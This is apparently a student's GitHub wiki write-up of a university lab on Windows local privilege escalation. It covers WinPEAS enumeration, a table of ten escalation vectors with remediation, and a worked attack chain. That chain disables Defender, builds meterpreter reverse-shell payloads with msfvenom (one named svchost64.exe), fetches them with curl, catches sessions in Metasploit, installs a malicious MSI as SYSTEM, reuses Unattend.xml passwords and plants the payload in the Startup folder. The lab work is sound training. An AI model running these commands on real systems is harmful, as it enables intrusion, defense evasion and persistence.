Week 2 Lab 1 ‐ Windows Local Privilege Escalation - elijah-gronlund/SEC-335-01-Eth-Hacking-Pen-Testing GitHub Wiki
Goals for this Assignment
- Run WinPEAS to enumerate a Windows 10 system for misconfigurations
- Interpret WinPEAS output to identify privilege escalation vectors
- Analyze common Windows privilege escalation paths
- Understand remediation strategies for identified vulnerabilities
- Exploit local privilege escalation vulnerabilities
First thing I needed to do was simply get the WinPEAS file onto my Windows VM
- Since there was no required method for this I simply, did this on my host machine by downloading the WinPEAs.ps1, and uploading it to my google drive using FireFox. Then I went onto my windows VM downloaded firefox and logged into google drive then downloaded the WinPEAs.PS1.
- Set-MpPreference -DisableRealtimeMonitoring $true
- Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
- Screenshot of WinPEAS banner and initial execution
- Screenshot of the color-coded output summary
- Output file saved as winpeas_output_[yourname].txt
- Document the command(s) used to run WinPEAS in your Tech Journal
- What hash algorithm does WinPEAS use for verification? What is the file hash?
- SHA256 is the hash algorithm that WinPEAs uses for verification,
2.What does the RED/YELLOW/GREEN color coding indicate?
- Red means special privilege over an object or misconfiguration
- Green means protection is enabled or configuration is correct
- Yellow is indicating that something is linked
3.How long did the full scan take? What factors affect scan duration?
- The scan took a good bit of time around 5 minutes, The resources that the VM has access to will dictate how fast the scan is able to complete as well as the scope of the scan.
-
First Step here is to navigate to Canvas on our windows VM. then download the Zip file called
winlocalpriv_escalation.zipThe password to unzip this file will bepassword -
Now we are going to open up a PowerShell prompt within the now unzipped file, I like to do this by simply typing PowerShell into the file explorer path bar,
leading to it opening up a PowerShell prompt
Just a nice little trick I found
- Now we are going to be running the following command in order to create 10 new vulnerabilities we can then exploit.
.\Setup-Lab.ps1 -BenignServicePath “./benign-service/benign-service.exe” -ExploitPayloadPath "exploit-payload/exploit-payload.exe" -LabUser "champuser"
- Document the bypass method.
- I believe that powershell was used in ored
- Document the 10 vulnerabilities to explain how it elevates privileges. This should explain what specific weakness is being exploited.
| # | Vulnerability | How It Elevates Privileges (Specific Weakness) | Exploitation Resources | How to Exploit (Summary) | How to Fix (Summary) |
|---|---|---|---|---|---|
| 1 | Unquoted Service path | This elevates privilege by having an executable placed inside of an unprotected file path in one of the higher level directories in the path. This will then cause the system to execute that executable instead of the original path | Mitre | This can be exploited if there is an unquoted service path, then an attacker will be able to execute malicious payloads by placing them in vulnerable file path references. This is done by placing the executable in a higher level directory in order for windows to execute the malicious executable. The example used in this article explained it as so. If there is a shortcut with a path of C:\programfiles\myapp.exe they can create a program at C:\program.exe that will run instead. | This can easily be fixed by ensuring that all file paths have quotes placed around them in order to prevent this hijacking. |
| 2 | AlwaysInstallElevated | This is a policy that can be exploited by simply building a malicious MSI and then install it to get access to a SYSTEM shell. As it does not require the user to input Admin credentials for software installation like it usually does | SecureLayer7 | Typically if a user wants to try and run an install they will need admin privileges to install it system wide. However when AlwaysInstallElevated is enabled then this is not the case. As this policy tells windows to install every .msi file with SYSTEM privileges, meaning exploiting it is so simple all that needs to be done is a fake malicious MSI needs to be created and run. | By making sure that AlwaysInstallElevated is disabled is the best way to mitigate this threat as it then requires an admins credentials to install software systemwide. Even the .msi files. |
| 3 | Weak Service Permissions | Malicious actors can modify/reconfigure windows services in order to repeatedly execute malicious payloads as a persistent threat. Since windows runs service executables often using high privileged accounts | Mitre | This can be exploited by modifying the windows services to execute malicious payloads or code. These services can be made with lower privilege then they execute under allowing them to escalate privileges simply by changing the service. | Only let the administrators modify change or edit any service settings or files |
| 4 | Weak Registry Permissions | Registry keys that control service configuration, startup or any important security settings, if permissions are not set properly a malicious user can write to these keys and redirect what file is executed from the original file to one that they control even though they do not have the proper elevated permissions. | Mitre | Being able to modify the registry because of the weak permissions is a very easy exploit for malicious actors. There is a very wide range of attack vectors that a threat actor can use if they have the ability to modify these registry's. From privilege escalation to modifying systems, to impairing defense. | Make sure that registry's can only be modified by an administrator ensuring that the permissions are secure, and basic users cannot change or modify them. |
| 5 | DLL Hijacking | Applications and services are loaded from DLLS or Dynamic Link Library files. This can be abused to get persistence or escalate privilege by writing to a directory earlier in the search for DLL to load with the exact name its expecting to find. This way it will load the malicious file instead of the legitimate library leading to it getting the calling processes privileges. | Mitre | DLLs are used in all programs in some form or another. They are not inherently malicious however they can be made malicious if the threat actor adds a malicious payload. Exploitation of this would be dropping a fake DLL with the correct name a program would look for or expects into a directory that is higher up on the same path it is expected to look at. this way it will come across the malicious DLL first and execute the fake program. | The fix for this is to have programs look only for the DLLs in the trusted system folders not folders that are writable by users. |
| 6 | Missing Service Binary | Services are typically registered to point to a file path however if no executable exists at that location windows will still try to attempt to launch whatever is located there, so if a low privileged user has write access to the directory being targeted then they will have the ability to drop there own binary in this location leading to it being run under the services privileged account | Medium | A service is set up to run a binary from a location and if there is no binary for it to run at that location then again an threat actor is able to supply there own binary for it to then run. All they need to do is simply create a program in the correct location that the service is pointing to with the correct name leading to it being run upon the next time that service is used | A way to protect this is to make sure that the real files are in there intended locations and that the folders they are in cannot be written in and are secure and locked down. |
| 7 | Writable PATH | The PATH environment variable is used whenever a program is invoked or called upon that does not have a fully qualified path it is searched for the missing path. So if a user has write access to a folder earlier in the PATH then they can place malicious executables with the same name as the real ones in order for it to be called upon and ran under higher privilege |
Mitre | Threat actors can execute a malicious payload by hijacking a path located in the PATH environment. Since the PATH environment contains a list of directory's that the OS searches in order to find the path that is needs. By placing a malicious program earlier in the list of the directory's it will cause the sequential order search to find and execute the malicious program. |
Remove the writable folders from the list or ensure that all trusted folders are checked and secure. |
| 8 | Startup Folder Permissions | There are programs referenced in this startup folder that execute automatically as soon as the user logs in. If a user can edit and write to the shared start up folder or a run key then that fires for an administration session then they are able to achieve code execution at a much higher privileged level then they originally had access. | Mitre | Threat actors are able to achieve persistence by adding malicious code to the startup folder or using a registry run key. Doing this will cause the program referenced to be executed when a user logs in. | This can be resolved by making sure that the startup folder is secured with the proper permissions ensuring only administrators can add files to it. |
| 9 | Password File (unattend.xml) | Having unattended or unsecured installation files and similar configurations that are not secured even though they can contain account credentials in plaintext or encoded forms. Any user that is able to read these files on disk can use them in order to gain access and credentials for accounts with higher privileges then there own | Mitre | Threat actors can search local file systems for any files that could potentially contain unsecure credentials stored in plaintext. In the event that they can find these credentials they then have gained another account for persistence and elevation. | Lock down all filles that could potentially contain passwords or credentials in plaintext or stored in an easily cracked encoded format. |
| 10 | Vulnerable Scheduled Tasks | Scheduled tasks can be configured to run under a privileged account while the task its meant to run or the actions it was going to perform are contained in a folder that is writable by a used with lower privileged or the task scheduler. These lazy permissions allow the standard user to modify and execute the tasks. | Hacking Articles | The Task scheduler is a very easily abused service. Threat actors are able to use it in order to schedule recurring or triggered persistence in order to maintain control or a hold in the system. | Locking down the permissions on the task scheduler so only those with admin access or credentials are able to use it. |
- Provide links to resources that show how to exploit the vulnerabilities.
- Write a short summary on how to exploit each vulnerability.
- Write a short summary on how to fix each vulnerability.
On Kali enter the following commands
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=PORT -f exe > svchost64.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=PORT -f msi > elevate.msi
python3 -m http.server 8000
Then on windows
curl.exe http://<KALI_IP>:8000/svchost64.exe -o svchost64.exe
curl.exe http://<KALI_IP>:8000/elevate.msi -o elevate.msi
back again to kali to open msf console
msfconsole -q
Then we are going to input the following
jobs -K
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
set ExitOnSession false
exploit -j
jobs
the jobs at the end is to check and verify
- First we have to find our Unattend.xml file
- I looked through C:\Windows\Panther discovery using dir
- then soon after I found Unattend.xml
- Output of the
Unattended.xmlfile
- I looked through C:\Windows\Panther discovery using dir
- Now we can see in plaintext passwords for many many different critical accounts for windows security
- Now we can test these credentials with the command
runas /user:Administrator cmd.exe - Now enter the password you found and you will be able to login
- Proof of login
- Confirm we have registry on windows
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
- Both of these files should be set to 1
- Run the following comand in order to execute out elevate.msi:
msiexec /quiet /qn /i "C:\Users\champuser\Desktop\elevate.msi - Then we check out Kali
- This shows that we have an open session now we should confirm SYSTEM, enter:
sessions -i l
getuid
-
Once svchost64.exe is on your windows machine copy it for all of your uses start up folders
Copy-Item .\svchost64.exe "C:\ProgramData\Microsoft\Windows\StartMenu\Programs\StartUp\svchost64.exe" -
Double check that it worked
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" -
Then just sign on and sign out again, then we can check out Kali
- now run the following commands
sessions -i 1
getuid
sysinfo
Output
